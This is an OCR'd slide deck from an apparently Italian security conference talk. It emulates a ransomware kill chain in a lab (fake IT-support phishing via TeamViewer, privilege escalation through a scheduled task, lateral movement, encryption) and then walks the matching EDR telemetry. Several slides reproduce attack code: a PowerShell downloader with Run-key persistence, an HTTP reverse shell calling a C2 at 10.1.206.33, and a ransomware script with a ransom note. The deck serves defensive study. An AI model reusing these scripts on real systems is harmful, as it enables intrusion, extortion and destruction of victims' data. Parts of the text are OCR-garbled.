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Finalmente il legislatore interviene

* Al Act

* Forse gia obsoleto, sicuramente
perfettibile, ma perlomeno si
Interviene

'« || DMA ed il DSA stanno entrando in
vigore

* La Commissione Europea sta
ospitando gli workshop con gli
stakeholders in questi giorni

| : * DORA e gia pienamente in vigore

==« NIS 2 & in vigore e sara pienamente
operativo tra pochi mesi

19/03/2024



INTRO

* Most relevant TTPs gathered in MDR investigations on customers and OSINT extracted
ones

* Lab Emulation of such TTPs
* EDR prevention was disabled
* AV prevention was disabled

* Main Goal:
Gather all the relevant telemetry for such attacks and understand the artifacts and behavior
to spot during an investigation and be ready for containment/remediation
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CYBER KILL CHAIN

Action On
Reconnaissance Delivery Installation Objectives
Weaponization Exploitation Command And
Control
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CYBER KILL CHAIN

N

A
< W 4
C " W
A N PR
F
W ®
I
A
W
I
A
~gi
b _ ¢
N I\
-
A <
\

W00 Associazione Italiana
per la Sicurezza Informatica

Initial Access

/Reconnaissance

\_
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Delivery \
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Installation

Exploitation
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Command And
Control

Action On
Objectives
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 00

Weaponization Exploitation Command And
Control

RE: [TSupport [IT1 12] - Acknowledge request

Dear employee,
Thank you for reaching out to our technical support team. To assist you with the necessary support activities on your workstation, we recommend initiating a remote session using TeamViewer.

e |:] Please follow these steps:

1. Download TeamViewer:

- Please use the following link: -

2. Run TeamViewer executable from your Downloads directory:

jin.teamviewer.com/nav/ser\

- Launch TeamViewer on your workstation.
3. Accept the incoming session:

- Click on accept in the dialog box that will appear
4. Wait for Connection:

- Our support agent will connect to your workstation remotely to diagnose and resolve any issues.
- Please note that during the remote session, you'll have full control over the process, and you can terminate the connection at any time.
If you encounter any difficulties or have questions, feel free to reply to this email or contact our support hotline.

Thank you for choosing our technical support services. We look forward to assisting you!

code s11 N

Best regards,

Share this link with your customer

https: :.-".-'get.teamviewer.com.-‘si:h

ACME Corporation Technical Support Team

From: IT Support <itsupport@external-techsupport.com:
Sent: 5 February, 2024 12:49 PM

To: lohn Doe <john.doe@acme.com>

Subject: ITSupport [IT12209812] — Acknowledge request

IT12309812: Random Reboot of machine

®
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 00

Weaponization Exploitation Command And
Control

@
RE: [TS5upport [IT12309812] — Acknowledge request

Dear employee,

Thank you for reaching out to our technical support team. To assist you with the necessary support activities on your workstation, we recommend initiating a remote session using TeamViewer.

Please follow these steps:

1. Download TeamViewer:

- Please use the following link: |
2. Run TeamViewer executable from your Downloads directory:
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 000000

Weaponization Exploitation Command And
Control
tps.//get.teamviewer.com/v15/en/s11
(3]  https://getd fv15/en/s1
-] TeamViewer
Downloads
lication
» Downloads » w | T Search Downloads
Date medified Type Size

Select from the options below to establish the TeamVig
conneclion. We recommend that you install the full Teg 3
version for best experience. —

(@) TeamViewerQS-idst1o_ | 2/29/2024 11:30 AM Application 27,613 KB

Download
single-use
TeamViewer

Launch
installed
TeamViewer

Remem e the selé_r.;[inn
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 000000

Weaponization Exploitation Command And

Control
‘ | N | Manage Downloads

Home Share View Application Tools

4 ; » ThisPC » Local Disk () » Users » wictim1 * Downloads

4 Downloads # %  Name Date modified
Docurments 4 an
Pictures -
Ifl ) TeamViewerQs-idstio_ | 2/29/2024 11:30 AM
Music

Waiting for your supporter to start the

session

You will be able to join once the session is started.

Cancel session

@ Ready to connect (secure connection)
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 000000

Weaponization Exploitation Command And
Control

@

[2) TeamViewer — ot

(= Tell us what you think SEl |I| v n e ol &3

Free

Sessions Qé o
-
Group Status
”C{. All i Online, Mew, In progress v ITSupport has started the session
MNA E... Ci S %) AS GH DE Once you join the sizs;zz,rt;:;;zert will have access

E IT Support Reques. .. e 2f£ L r.,[ ] Details of expert
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Action On
Reconnaissance Delivery Installation Objectives

INITIAL ACCESS 00

Weaponization Exploitation Command And
Control

IT Supporl: Requesl: Acme — TeamViewer =k O X Logged in as-
Actions View Communicate Files & Extras r—ﬁ @ @ : : P | . .
° acme\victim1

- |

Recycle Bin

&

—,'Ar + | Downloads

“ Home Share

{:7 This PC Local Disk (C: Users victim1 Downloads

[ Desktop ! Mame

'v' Downloads

Today (1

% Documents
E‘J TeamViewer(QS=ids1

o | Pictures

J Music

B Videos
@& OneDirive

[ This PC
J 30 Objects
[ Desktop
t| Documenits
& Dowrloads
J Music
& | Pictures
B Videos
i Local Dizk (C)
KN DVD Drive (D:) CPBA_XB4FRE_EN-US_DVE
=g [TSupport-Share (\\10.1.206.80) ()
= [TSupport-Share (\\10.1.206.80) (W:]

¥ Network
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CYBER KILL CHAIN

Action On
Reconnaissance Delivery Installation Objectives
Weaponization Exploitation Command And
Control
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Action On
Reconnaissance Delivery Installation Objectives

EXPLOITATION 00600 00

Weaponization Exploitation Command And

Control
File transfer to IT Support Request Acme - g X
ITSupport - IT Support Request Acme
Local computer = Remote computer

{7 % “I* momelattacker0l/Desktop/Payloads 0 | {7 & T cuusersiictiml/Desktop 0

AT Send > Receive 3

Name Size Modified Type Name Sze  Modfied  Type
ITSupport_Diagnostic.ps1 29/02/24 15:14 unknown ACME Email - Teams Mes... 182 KiB 12/09/23 10:21 email mess...
ITSupport_Error_Logging.ps1 927 B 28/02/24 11:51 unknown ITSupport_Diagnostic.psl 798 B 29/02/24 1514 unknown
ITSupport_Scan.psl 402 B 28/02/24 11:52 unknown Microsoft Teams.Ink 2.3 KIiB 05/12/23 16:00 unknown
ransom.psl 1.1 KiB 28/02/24 11:53 unknown desktop.ini 282 B 13/03/2312:09 unknown
rev2.psl 843 B 28/02/24 11:56 unknowrn
rsa.exe 8.3MIE 26/02/24 09:41 DOS/Windo...

1 object(s) selected 798 B 0 object(s) selected 0B

| Job queue Event log

X
n ITSuppor...stic.psl

completed

1 of 1 jobs completed 798 B /798 B

= ®
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Action On
Reconnaissance Delivery Installation Objectives

EXPLOITATION 000

Weaponization Exploitation Command And
Control

E¥ Windows PowerShell

Microsoft Corporatlon.
ITsupport_Dv
agnostic.ps1 Update KB1231239 in Progress
41% Complete:
[ 0000000000000 C00000000000 0000000000000

operation completed successf
Hame P5JobTypeName 5 HasMoreData Location Command
Jobl jackgroundlob Running True localhost

Gathering and fixing a5
Updating with last Winm 238. ..

®
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Action On

Connection ended
The session has been closed by your partner.
« - O U [ localhost/shell.htmlzcommand=whoami

HTTP Shell

C:\Users\victim1\Desktop >
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INSTALLATION - ITSUPPORT_DIAGNOSTIC.PS1

http://10.1.286.33:8000/ITSupport_Error_Logging.psl -OutFile

g’ $env:appdata\ITSupport Error_Logging.psl

[TSupport_Di , . .
agnostic.ps1 http://10.1.2086.33:8000/ITSupport_Scan.psl -OutFile

$env:appdata\ITSupport_Scan.psl
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "IT Support
Monitoring™ /t REG_SZ /F /D "$env:appdata\ITSupport Error_ Logging.psl”

cmd -Args fc,”powershell -executionpolicy bypass
$env:appdata\ITSupport Error_Logging.psl"” -WindowStyle Hidden

"Gathering and fixing O0S errors...
"Updating with last Windows KB1231239..."
for ($i = 1; %1 -le 188; $i++ ) {
-Activity "Update KB1231239 in Progress” -Status "$i%
Complete:"™ -PercentComplete $i
-Milliseconds 25@

“Press any key to continue...

C7 Jus:t
W et niurezaa it SELURITY Summmn

Action 0
nnnnnnnnnnnnnnnnn Installation Object

Exploitaton ~ Comman

Downloads from C2 two PowerShell payloads

Sets a run key on HKCU environment

Starts "ITSupport_Error_Logging.psl" in
hidden mode

Generates a fake progress bar which emulates
an update

®
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INSTALLATION - ITSUPPORT_ERROR_LOGGING.PST

%Clusut
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-Uri http://1€.1.206.33/pwdHandler -Method POST -Body

hile( {
ds 1.5
$input_ -URI http:// 10.1. 3 kInput | Conten t
$input_ tch "a( PARATOR
$id = [1]
if otmat $idold)
$input 1atc EPARATOR
$c [1]
foutput = %( (fcommand)) 2>&1 |
-Uri http://10.1.206.33/ -Method POST -Body %output
-Uri http://1@.1.286.33/pwdHandler -Method POST -Body
h
$id0ld = § id
h

“

SECURITY SUMMIT
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ooooooo

Connects back via HTTP to C2 using POST
Requests

Checks for any input from the server

Executes it on the host

Send back the output of the command on the
local machine

Basic Reverse Shell built in PowerShell

®
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Reconnaissance Delivery Installation Objectives

EXPLOITATION-INSTALLATION eco0o0eo
2

ooooooo

Phishing Email
w/RMM link
(1)

RMM
Tool

Writes commands
Receive outputs

Sy

Downloader

HTTP Reverse Shell
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Reconnaissance Delivery Installation Objectives

INSTALLATION - PRIVILEGE ESCALATION 0000

Weaponization Exploitaton ~~ Command And
ooooooo

“ C O D localhost/shell.htmlzcommand=whoan * Standard Domain User: acme\victim1

HTTP Shell
* Running the ransomware at this point will result to
encryption of victim1 files only

C\Uempvictm et =

_ Send Command |

* Attacker needs higher privileges to create an
impact as wide as possible
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INSTALLATION - PRIVILEGE ESCALATION 0000

* Search for misconfigured Scheduled tasks or services

HTTP Shell

* File System Enumeration to find weak privileged files to tamper

* ProgramData and Get-Baseline.ps1 files had Write privileges for
standard Users of the Workstation

* ACME\audit user has FullControl for the file

* "Run_Log Task.txt" shows that likely a shtask is running every day at

C:\programdata\audit > [ e

Get-Baseline.psl Legit IT Admin Script ACL

— ) O [ localhost/she

net use v: \\10.1.2086.80\ITSupport-Share
net users > "v:\\Audit Reports\Report_February_ 2024.txt"

-Namespace "root\SecurityCenter2"™ -Query "SELECT * FROM Antivi

"v:\\Audit Reports\Report_February_ 2824.txt"

"Run Completed at: %( )™ >>]C:\ProgrambData\Audit\Run_Log Task.txt

>>

Get-Baseline.psl Legit IT Admin Script Content Run_Log Task.txt Content

®
@ eT Digital Security
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INSTALLATION - PRIVILEGE ESCALATION 0000

HTTP Shell

HTTP Shell

RV Gl NG EIGIENG IR net localgroup administrators

Send Command

Administrators of the machine

C:\programdata\audit > QEEESENEIFLIER

Send Command

Audit group membership

®
@ eT Digital Security
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Reconnaissance Delivery Installation

INSTALLATION - PRIVILEGE ESCALATION 0000

(% auditbox Properties (Local Computer)

General Triggers Actions Conditions Settings  History

Mame: auditbox

Location: %

Author ACMB Administratar

Description: | Get Information about the standard configuration of the workstation,

Security options

Audit

When running the task, use the fellowing user account:

() Run only when user is logged on

Change User or Group...

i® Run whether user iz logged on or not

[] Do not store password. The task will only have access to local computer resources

[/ Run with highest privileges

[ ] Hidden

Configure for: | Windows Vista™, Windows Server™ 2008

Trigger
Daily

Details
At 9:00 PM every day

Status
Enabled

Associazione Italiana
per la Sicurezza Informatica

NN

Weaponization Exploitation

* Runs under "ACME/Audit" Domain User

* Runs with highest token available for that
User

* Runs Daily at 9:00 AM

* Runs from "non-privileged" directory
"ProgramData"

(5 auditbox Properties (Local Computer)

General Triggers Actions  Conditions Settings History

When you create a task, you must specify the action that will cccur when your task starts.

7

tem32\cmd.exe /c "powershell -executionpolicy bypasg C:\ProgramData\Audit\Get-Baseline.ps] "||
J

Action On
Objectives

Command And
Control

SECURITY SUMMIT
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INSTALLATION - PRIVILEGE ESCALATION 0000

C.‘.:'\.,pru:rgramdata'hauu:lit. =N Invoke-WebReguest http://10.1.206.33:8000/rev2.ps1 -OutFile \revZ

. Send Command

Reverse Shell Variant HTTP Shell

Download

Reverse Shell Payload

:% Legit IT Admin Script
C:\programdata\audit > ||

®
Digital Security
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Reconnaissance Delivery Installation

INSTALLATION - PRIVILEGE ESCALATION 0000

Weaponization Exploitaton ~~ Command And
ooooooo

Sy

Scheduled Task Triggering Tampered C:\programdata\
Next morning at 9 AM audit\Get-Baseline.ps1 runs

HTTP Shell - High Privileges

CAWindows\system32 >
Send Command

®
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Action On

Reconnaissance Delivery Installation

COMMAND AND CONTROL

%

RMM Tool Session Reverse Shell HTTP Reverse Shell HTTP

-

Egmgiﬂg Low Privileged High Privileged

_ids .

[ lexe Session Session

Ended Session — Fake Support Use.r. ?cme\ User:
User: acme\Victim1 Victiml acme\Audit

®
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ACTION ON OBJECTIVE - RANSOMWARE DEPLOY 0000 00

Weaponization Exploitation Comman d And

* Ransomware Deploy from C2 using HTTP
(ORN BT N (e b DAY o) e EA Ve Ghaiinal @l bRequest http://10.1.206.33:8000/ransom.ps1 -OutFile \ransom.ps1 * To be used also for payload lateral movement

Send Command

HTTP Shell - High Privileges

Ransomware Payload

-

®
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Delivery Installation Objectives

ACTION ON OBJECTIVE - RANSOMWAREDEPLOY © ® ® ® ® @ @

Exploitaton ~ Comman

Q\02 -7
W W\
-
-
-
-
-

Upload/Execute Ransomware

(2)

Host B

Host A

®
3 @e-r Digital Security
Progress. Protected.

&

W Associazione Italiana
* per la Sicurezza Informatica

b
-

sy
A ¢ A
<t A <
F 7\ 9w
4 N
A
h 4
o ®
A
P~
R
b _ ¢
L A
A 4 A
A
\




nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn

ACTION ON OBJECTIVE - RANSOMWARE DEPLOY 0 0 0 ® 0 C 0

nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
ooooooo

* Target IP found in the legit Get-Baseline.ps1 content

HTTP Shell - High Privileges

* Share mounting via SMB using acme\audit privileges

* Ready to copy the attacker payload via the SMB session

, , created on administrative share
Legit Get-Baseline.psl content

HTTP Shell - High Privileges

HTTP Shell - High Privileges

C:\users\victiml\appdata\roaming =

Send Command

Mounted Share of new target Hostname of the new target

®
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Delivery Installation Objectives

ACTION ON OBJECTIVE - RANSOMWARE RUN 0e0000060

Exploitaton ~ Comman
Control

oo C O [ localhost:4

Copying the ransomware on C:\windows

HTTP Shell - High Privileges directory of remote system

C:\users\victiml\appdata\roaming > [HEELELLRIIPAN
Send Command

Executing ransomware on
local system

SRV E NG (e n b SR s GLGU Gl = powershell -executionpolicy bypass .\ransom.ps1
Send Command

®
@ eT Digital Security
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ACTION ON OBJECTIVE - RANSOMWARE RUN e0000060

ati
aaaaaaaaaaaaaa loitation Command And
|

Control

5 @] O [ localhost

Mounting Sysinternals WebDav

HTTP Shell - High Privileges Share

ORNEES e\ e n i AT EGLENNOEha bl il net use g: "\\live.sysinternals.com\DavWWwWwRoot"

Send Command

= C‘} O O localhost
Executing via PsExec on the - o
remote system the HTTP Shell - High Privileges
ransomware
DRV EL VSN GTanl nBRGT I GLE TGl =l o:\psexec.exe -accepteula \\10.1.206.80 -h cmd /c "powershell -execu
®
il e
3 EL%;areS:;.UI:Egtected.
Y
iiﬁ 4 K

W Associazione Italiana
* per la Sicurezza Informatica




Action On
Reconnaissance Delivery Installation Objectives

ACTION ON OBJECTIVE - IMPACT 000000

Weaponization Exploitation Command And
Control

This PC * Local Disk (C:) * Users * Administrator w | { Search Administrator
L
Gl Mame —— P = =
L] AUrTirL O LU VLY LU= ¢ S UL R | miezie-README.kxt - Notepad

| AdminDomcumentVictim2-80.pdf.locker File Edit Format View Help

D AdminDomcumentVictimz2-81.pdflocker |YCILH'" data is ENCRYPTED!!!
|| AdminDomcumentVictim2-82.pdf.locker | If you don't pay the ransom, the data will be lost and we will get rid of the key to decrypt it.

[ ] AdminDomecumentVictim2-83.pdflocker | The sooner you pay the ransom, the sooner your company will be safe.

| ] AdminDomcumentVictim2-84.pdflocker |10 Pay the ransom, please visit the following TOR page: https://lakdjawlidalwkmdwlakjdlawkdjalwkdwadd.onion/decryptor

| ] AdminDomcumentVictim2-85.pdf.locker
ij AdminDomcumentVictim2-26.pdf locker
[ ] AdminDemcumentVictim2-27.pdf Jlocker
[ AdminDemcumentVictim2-28.pdf.locker
i _'] AdminDomcumentVictim2-29. pdf.locker

D AdminDomeumentVictim2-90.pdf locker i = | Desktop
|_L| AdminDomcoumentVictim2-91.pdf locker
|:| AdminDomecumentVictim2-92.pdf.locker Home Share Wiew
!j_ AdminDomcumentVictimz-93,pdf.locker - v # ThisPC » Local Disk(C:) » Users » Administrator » Desktop v @ Search Desktop
[ | AdrminDomcumentVictim2-94.pdf.locker =
| ] AdminDomcumentVictim2-95.pdf.locker Mame Date modified Type Size
o : e 7 Quick access
| e — e i A || AdminDomcument.pdf.locker 3/4/2024 12:15 PM LOCKER File 1KB
¢4 D AdminDomcumentVictim2-97.pdf locker I Desktop - : :
I ; B D AdminDomcurnent].pdflocker 3472024 12:15 PM LOCKER File 1 KB
ﬂ Home Share View | ] AdminDomcumentVictim2-98.pdf.locker ; Downloads o+ ) :
| e ! e D AdminDomcurment2.pdf.locker 3/4/202412:15 PM LOCKER File 1 KB
_ | [ | AdminDomcumentVictim2-99. pdf.locker b ; 2
: “ — & Documents - o e :
i » ThisPC 3 Dncume! 5] AdminDomcumentVictim2-100.pdElockel = D AdminDemcument3.pdf.locker 342024 1215 PM LOCKER File 1KE
MNTUSER.DAT [&=] Pictures 4 D AdminDomcumentd.pdf.locker 3472024 12:15 PM LOCKER File 1 KB
3 Quick access ™ a meoic-README. txt J': Music D AdminDoemcurment3.pdf.locker 37472024 12:15 PM LOCKER File 1EB
I Desktop _ B Videos || AdminDomcument6.pdf.locker 3/4/2024 1215 PM LOCKER File 1KB
' : ; — D AdminDoemcurnent?.pdflocker 34720241215 PM LOCKER File 1 KB
& Downloads i 3/4/202412:15 PM @ OneDri
. . * A e & : il | | AdminDemcument8.pdf.locker 3/4/2024 12:15 PM LOCKER File 1KB
ocuments 5 FA 10 :
_ =rea RENNIE MR ta o KW B Thiis PC ] AdminDomcumentd.pdf.locker 3/4/202412:15 PM LOCKER File 1KE
] Pictures # [ importantDoc10.doclocker i Sl e b " : || AdminDomcument10.pdf.locker 3/4/2024 12:15 PM LOCKER File 1KB
b Musi || ImportantDoc100.doc.locker 3/4/2024 12:15 PM i) 30 Objects
e 4 e o ' B Desit || AdminDomcument11.pdf.locker 3/4/2024 12:15 PM LOCKER File 1 KB
. iy : eskto
B Videos || ImportantDoc1.doc.locker A AR B || AdminDomcument]2.pdf.locker 3/4/2024 12:15 PM LOCKER File 1KB

D ImpeortantDoc] 2. doc.locker 3472024 12:15 PM
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ACTION ON OBJECTIVE - RANSOMWARE CODE

T

by

I

ranscm.ps

Clusut
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https://www.7-zip.org/a/7zr.exe -OutFile c:\users\public\zxcv.exe
http://10.1.206.33:8000/rsa.exe -OutFile c:\users\public\rsa.exe
¢key = [Convert]::ToBaseedString((1..32|%{[byte]( -Max 256)}))
$enc_key = $key | & c:\users\public\rsa.exe
$enc_key = $enc key | "b'" -context 0,1 | -last 1
[Convert]::ToBaseb4String([System.Text.Encoding]: :Unicode.GetBytes($enc key))
-Uri http://10.1.2086.33/%enc_key

$enc_key

$dirs = "C:\Users\"

-Path $(%dirs) -r | { ¢ .Name -Like "*.doc" -or $ .Name -Like "*.pdf"} |
{
$name = $ .FullName
$tkey | & "c:\users\public\zxcv.exe"” a $name”.locker” $name -p -sdel
$path = $ .DirectoryName+"\zxczxc-README.txt"
"Your data 1s ENCRYPTED!!!
If you don't pay the ransom, the data will be lost and we will get rid of the key to decrypt it.
The sooner you pay the ransom, the sooner your company will be safe.
To pay the ransom, please visit the following TOR page:
https://lakdjawlidalwkmdwlakjdlawkdjalwkdwadd.onion/decryptor™ > $path
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7zip for encryption
Generates at runtime a symmetric Key

Download custom tool
rsa.exe executable for key encryption

Sends encrypted key over the wire to C2
Recurse all over C:\users directory

Generates ransom-note named "zxczxc-
README.txt"
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KILL-CHAIN - OVERVIEW

Initial Access And
Exploitation

RMM Tool Fake Support
Access

Deploy of payload
installation script:
ITSupportDiagnostic.ps1

PowerShell Reverse Shell
session via non-privileged
"victim1" user
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Installation And
Privilege Esclation

Misconfigured Scheduled
Task exploited

File System Enumeration
for privilege escalation

High privilege Reverse
shell used to deploy
ransomware to host A
using "audit" user

SECURITY SUMMIT

Action On Objective

Payload Lateral movement
via SMB on host B

Ransom Run on
both impacted hosts
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KILL-CHAIN - OVERVIEW
@ 2 .

Phishing Email

w/RMM link
(1)

RMM
Tool

Writes commands
Receive outputs

(5)

Sy

Downloader

Payload lateral
movement
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RMM
Tool

HTTP Reverse Shell
Priv Escalation (4)
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EDR ANALYSIS

“— @ O EJ O~ hitps:)//inspectsrv.corp.acme.com:ddd 3 /console/machines iy

‘ © CUESTIONS ‘

Computers : AOiv O ‘ | VICTIM1 X VICTIM2 X X & H SHDR-‘."SUEGF[DL.IF'S‘

COMPUTERS

NAME (2) STATUS < TAGS LAST CONNECTED LAST EVENT

[_Jdesktop-6oprdjj.corp.acme.com A Wictim Mar &, 2024, 4:59:02 PM Mar &, 2024, 4:58:47 PM
DdEktﬂp-?cv?kk.curp.acme.cnm A Yictirn2 Mar 4, 2024, 12:45:43 PM Mar 4, 2024 12:43:59 PM

A Detections  ©§ Incidents Executables O[3 Computers 1 More Z Serverstatus 1 Events load

Top 10 unresolved ESET INSPECT detections Top 10 unresolved ESET Endpoint Security detections

Cloud Provider Metwork Connection (8%9)
[Pvd in HTTP Request URL (12)
User was added to administrator group [F1000] (5]

File is written into ESET folder [C0330] (3)

Service installation or moedification-lmagePath (3)

Suspected botnet detected (3]
Malware: WinGo/Riskware.Caldera.C.gen (3)
Malware: Win32/RiskWare.Mirmikatz.BE (4)
B Malware: PowerShell/KGlIMBR.E (4)
Il Malware: PowerShell/HackTool Agent.AE (4)
[l Malware: PowerShell/TrojanDownloader. Agent. CEK (1)
. Malwares Powershell/Filecoder.Bl (1)

PowerShell has dropped a suspicious executable [A030

Powershell.exe executed unpopular process [A0M08] (3)

Powershell.exe creates an external netweork connection
[l Management of the services from command line [BO(
B Guspicious explorer parent process [FI427] (2)
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EDR ANALYSIS - INITIAL ACCESS 0 0 0 ® 0 0 0

nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn

+ [ smss.exe (564)

msedge.exe (10256]

+ t}*winlugnn.exe (644)
--single-argument https://get.teamviewer.com/s198343361

- [} userinit.exe (7220)
SePROGRAMPFILES(X86)% \microsoft\edgetapplication’,
+ [> explorer.exe (7248)

— [> outlook.exe (3608)

[>* outlook.exe (11712)

[ > msedge.exe (1[!2553}

Usermame acmeiywvictimi
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EDR ANALYSIS - INITIAL ACCESS

+ [}* smss.exe (556)
+ [}* winlogon.exe (640)
— D% userinit.exe (2372)

+ [> explorer.exe (1188)

|

Remaote Monitoning & Management - TeamViswer [DOS01]

Fie Copied Through TeamViewsr [[325][2]

File Copied Through TeamViewsr [D0325][2]

Fie Copied Through TeamViewsr [D0325]
[> tv_w32.exe (13380)

[> tv_x64.exe (6160)

[} teamviewer_desktop.exe (2176)

Username acmewictim
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Action On

Reconnaissance Delivery Installation Objectives

Weaponization Command And

Control

Exploitation

Process teamviewergs-ids1[_ |exe [13644)

Command line

FPath SeHOMESS downloads),

Triggering process teamviewer.exe (12236)

Command line

Path SeTMPIAMeamviewer,
Integrity leve Fledium
Event ) FileWrite SeDESKTOP: tsupport_diagnostic.psi

Sources

. ORIGIN ExecuTABLES ()

SHA-1

NAME (1)

29 DeD7E3AC1 2603 3EC37DEYB1BEEESCERAAS]L

[FJold_msedge.exe
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - EXPLOITATION 00600 00

Weaponization Exploitation Command And
Control

+ [> powershell.exe (10840) powershell.exe (10194

[} powershell.exe (10196) » -executionpolicy bypass A\ITSupport Diagnostic.psl

i P4 in HTTE Request URL SSYSTEMSS \windowspowershell'w1.0

TeplpProtocolldentified  outbound hitp:/A10.1.208.33:8000

Suspicious script interpreter started - crn\F0447d] 2024 154718 AM HitpRequest hitp:/A10.1.2068,33: 8000/ itsupport_error_logging.psi
D’ conhost.exe (13796) 2024, 1047218 AM FileTruncated [on open] SeAPPDATASZitsupport_error_logging.ps
2024 10:47:18 AM FileWrite SeAPPDATASSItsupport_error_logging.psi

A\ powershell.exe (5204)

Mar 1, 2024, 10:34:37 AM

— l} reg.exe (7232)

SHA-1 C4D9972385CBCC165EA4EATICIDDEL38FR88372BB1E]

- fi - e
1 Atternpt to 2dd registry ftem [D0440] 256 433C3FEDEBSREEAFAECAEEA40B4A38CBABF41B1BER2ECAEE02E115E1BE299FETAL]

Invoke-WebRequest hittp://18.1.286.33: 8888/ ITSupport_Error_Logging.psl -OutFile $env:appdeta’\ITsupport_Error_Logging.psl
Invoke-WebRequest hitp://1@8.1.286.323:8888/ITSupport_Scan.psl -OutFile $env:appdata’\ITSupport_Scan.psl
REG ADD "HECUNSOFTWAREWMIcrosoft'\Windows'\Cufrentversion\Run™ /v "IT Support monitoring™ /7t REG_SZ fF /D "$env:appdata’ITSupport_Error_Logging.psi”
powershell -executicnpolicy bypass $env:appdata’\ITSupport_Error_Logging.psl
gcho "eathering and fixing 5 errors...”
echg "Updating with last windows KB1231239..."7
for (31 = 1; %i -le 188; $i++ ) {
Write-Progress -Activity “update KB123123%9 in Progress™ -Status "$i% Complete:™ -PercentComplete $1
Start-Sleep -Milliseconds 258

i Comrmaon AutoStart registry modified by regeexe [A01036]

Username acme'wictim }

Write-sHost "Press any key to continue...”
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - INSTALLATION 00600 00

Weaponization Exploitation Command And
Control

+ [> powershell.exe (10840)

— [> powershell.exe (10196) powershell.exe [53204)

i |Pvd in HTTP Request URL -gxecutionpolicy bypass CiwUsersh\wictiml'appData'\Roaming \ITSupport_Error_Logging.psl

ZeSYSTEMSS\Wwindowspowershellw1.0h

Suspicious sonipt interpreter started - crd [FO447d]

[> conhost.exe (13796) reg.exe (7232)

[ A\ powershell.exe (5204)

— [} reg.exe (7232)

ADD HKCUASOFTWAREZMicrosoft'\Windows'\CurrentversionhRun /v "IT Support Monitoring™ /t REG_SZ /F /D (:
_» Wsersivictiml\appData‘\Roaming\ITsupport_Error_Logging.psl

F5YSTEMESY,

i Atternpt to 3dd registry tern [CO440]

i Comrmaon AutoStart registry modified by regeexe [A01036]

Username acme'\wictim
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - PRIVILEGE ESCALATION 00600 00

Weaponization Exploitation Command And
Control

- A\ powershell.exe (5204)

Spwd = pwd
Invoke-WebRequest -Url http:/sf18.1.286.23/pmddandler -Method POST -Body $pwd
—>while($true} {

start-sleep -Seconds 1.5

# checks any new received inputs from the attacker

tinput_ = Invoke-webrReguest -URI http://1@8.1.286.33/checkInput | select Content
tinput_ -match "~{.*) #SEPARATOR:"

i Suspicious PowerShell Sonp
L]
1 IPvd in HTTP Reguest URL

A Suspected botnet detected
EHA-1 DE#EEEEEE[HZEMAEEEEI#-EEE?E5E5F51A}'F134E|@

& Suspected botnet detected
SHA-256 ECe74711BET 21B1DGE3820C 083 E838CTALRGER 20D 154066564822

[ A\, suspected botnst detected powershell -sxecutionpolicy bypass .\ITSupport Scan.psl

A Suspected botnet detected
SHA-1 E:-'AE3EE-EEEEFE1:5!.1451{EEEEEEED{EEA?EEH{EEEE

A Suszpected botnet detected
SHA-256 ?EE?AEEE:-'335EEEE‘EEEA?F53EAE?FED‘EE1EEEF?FIMDEM143M??EEEFEE43A3E

A\ suspected potnet detected get-acl C:\programdata‘auditi\Get-Baseline.psl | select path,accesstostring | 1

A Suspected botnet detected

Threat type Suspected botnet detected
— — [}v whoami.exe (11612)

Threat name Powershell/Generik.&

i Systern ownerfuser discovery via PowsrShell [C11053]
IP protocol Transmission Control Protocaol

? S Owner / User Disc F1109
1 wstern Orwner [/ User Discovery [ 1 Source socket 10,1.206.33:80

®
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - PRIVILEGE ESCALATION 00600 00

Weaponization Exploitation Command And
Control

[ —} A\ powershell.exe (5204)

S5HAA C3E@396970981CFEE7184CA3DCEECFCBL42FB3EBIE]

i Suspicious PowerShell Script - .
SHA-256 BSEZAEDE21G51FBLSEEFIDSIFEZCAA2ADDF? 3CERERSAGZSBDG1SDFSFAIFAGDEE [

L
IPvd in HTTP Request URL
1 " = cat Run_Log Task.txt

A Suspected botnet detected

M\ suspec=d botnet detected SHA-1 1C762EE453F18830278C7ER1C0R3ARBI5A12C8FF (0]

A Suspected botnet detected S5HA-256 DB4EETIEF333C7 10694440 74FACCCTF2EET4BBC699C8B105566B91B924280AE410)

a;um:t&d botnet detectsd Invoke-wWebRequest http://18.1.286.33:8888/rev2.psl -QutFile .hwreva.psl

A Suspected botnet detected

SHA-1 3FEEEADAEF14—'1{FI-'34EDEA1EEIEI-'HEEI-'EEQDEE3EIE;;]3

A Suspected botnet detected

SHA-256 172FGE31217R1EASFOF3ABAGEBAALFFEI52ASFEEAT 34['4EEEED4FDEEEEEAE?M£§:}
ﬂ Suspected botnet detected

cp @et-Baseline.psl Get-Baseline_.psi

— — [} whoami.exe (11612)

Ld

1 Systern ownerfuser discovery via PowerShell [C1105a]
i Systern Owener /[ User Discovery [F1109]

— [} powershell.exe (14188)

i [} whoami.exe (14968)

Username acmeiwictim
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Action On
Reconnaissance Delivery Installation Objectives

EDR ANALYSIS - ACTION ON OBJECTIVE 00600 00

Weaponization Exploitation Command And
Control

+ [}’" svchost.exe (1436)

[t emd.exe (1288) 2024 12:03:57 PM HitpRequest http://10.1.206.33:8000,/ransom.ps1
1 Scheduied scrit sk staried [F0442 2024, 12:03:57 PM FileTruncated (on open) SAPPDATA%:\ransom.psi

[}* conhost.exe (2980)

net use x: \\DESKTOP-7CWIKK\admin$
i Suspicicus PowerShell Script - Behavior [D1202]
Cp ransom.psl X:Y

_i_ |Pvd in HTTP Reguest URL

A Suspected botnet detected

a Suzpected botnet detected

Triggering process powershell.exe [916)
A Suzpected botnet detected Command line -gxecutionpolicy bypass C:WwProgramData‘audithcet-Baseline.psl

i File permissions modification atternpt via PowerShell [C0f02c] Path SESYSTEMS:\windows powe rshellwt. 0
,

i Femote system discoveny via PowerShell [C1104c] Inte«g thj" level High
>

